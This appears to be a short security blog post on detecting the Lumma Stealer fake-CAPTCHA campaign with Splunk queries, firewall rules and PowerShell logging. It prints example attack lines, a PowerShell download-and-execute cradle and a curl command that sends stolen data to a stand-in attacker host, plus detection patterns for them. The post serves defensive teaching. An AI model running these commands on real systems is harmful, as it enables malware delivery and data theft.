Lumma Stealer (Fake Captcha) Attack Investigation with Splunk

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GitBook Link: Lumma Stealer Investigation
Full Scenarios: GitBook Home Lab Scenarios

You Should Know:

1. Understanding Lumma Stealer

Lumma Stealer is a malware that disguises itself as a fake CAPTCHA to steal sensitive data (credentials, cookies, crypto wallets).

2. Attack Execution Steps

  • Fake CAPTCHA Delivery:
  • Phishing email with a malicious link.
  • Social engineering to trick users into solving a fake CAPTCHA.

  • Malware Execution: 

    Example malicious PowerShell command (obfuscated)
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')

  • Data Exfiltration: 

    Exfiltrating data via HTTP POST (simulated)
curl -X POST -d @stolen_data.txt http://attacker-server.com/exfil

3. Splunk Investigation Queries

  • Detect Malicious Process Creation: 

    index=windows EventCode=4688 
| search "New Process Name" IN ("powershell.exe", "cmd.exe", "mshta.exe") 
| stats count by "New Process Name", "Command Line"

  • Identify Outbound Data Exfiltration: 

    index=netfw dest_ip!=10.0.0.0/8 action=allowed 
| stats count by src_ip, dest_ip, dest_port, bytes_out 
| sort - bytes_out

  • Hunt for Suspicious File Writes: 

    index=windows EventCode=11 
| search "TargetFilename" IN ("%AppData%\.exe", "%Temp%\.dll") 
| table _time, host, user, TargetFilename

4. Defensive Measures

  • Block Malicious Domains: 

    Add to Windows Firewall (Admin CMD)
netsh advfirewall firewall add rule name="Block Malicious Domain" dir=out action=block remoteip=123.45.67.89

  • Enable PowerShell Logging: 

    Enable Module/ScriptBlock logging (GPO or local policy)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell" -Name "EnableModuleLogging" -Value 1

  • Splunk Alert for Anomalies: 

    index=windows EventCode=4688 
| where match(CommandLine, "DownloadString|IEX|Invoke-Expression") 
| stats count by host, user, CommandLine

What Undercode Say

Lumma Stealer exemplifies the rise of social engineering + fileless malware attacks. Key takeaways:
– Monitor PowerShell for obfuscated commands.
– Restrict outbound traffic to uncommon IPs.
– Use Splunk/Wazuh for behavioral analytics.

Expected Output:

  • Splunk alerts on suspicious process creation.
  • Firewall logs showing blocked exfiltration attempts.
  • Forensic artifacts (Prefetch, Amcache) for malware analysis.

Prediction

Lumma Stealer variants will increasingly abuse legitimate cloud APIs (e.g., Discord, Pastebin) for C2 communications.

Relevant URLs:

References:

Reported By: Fares Morcy – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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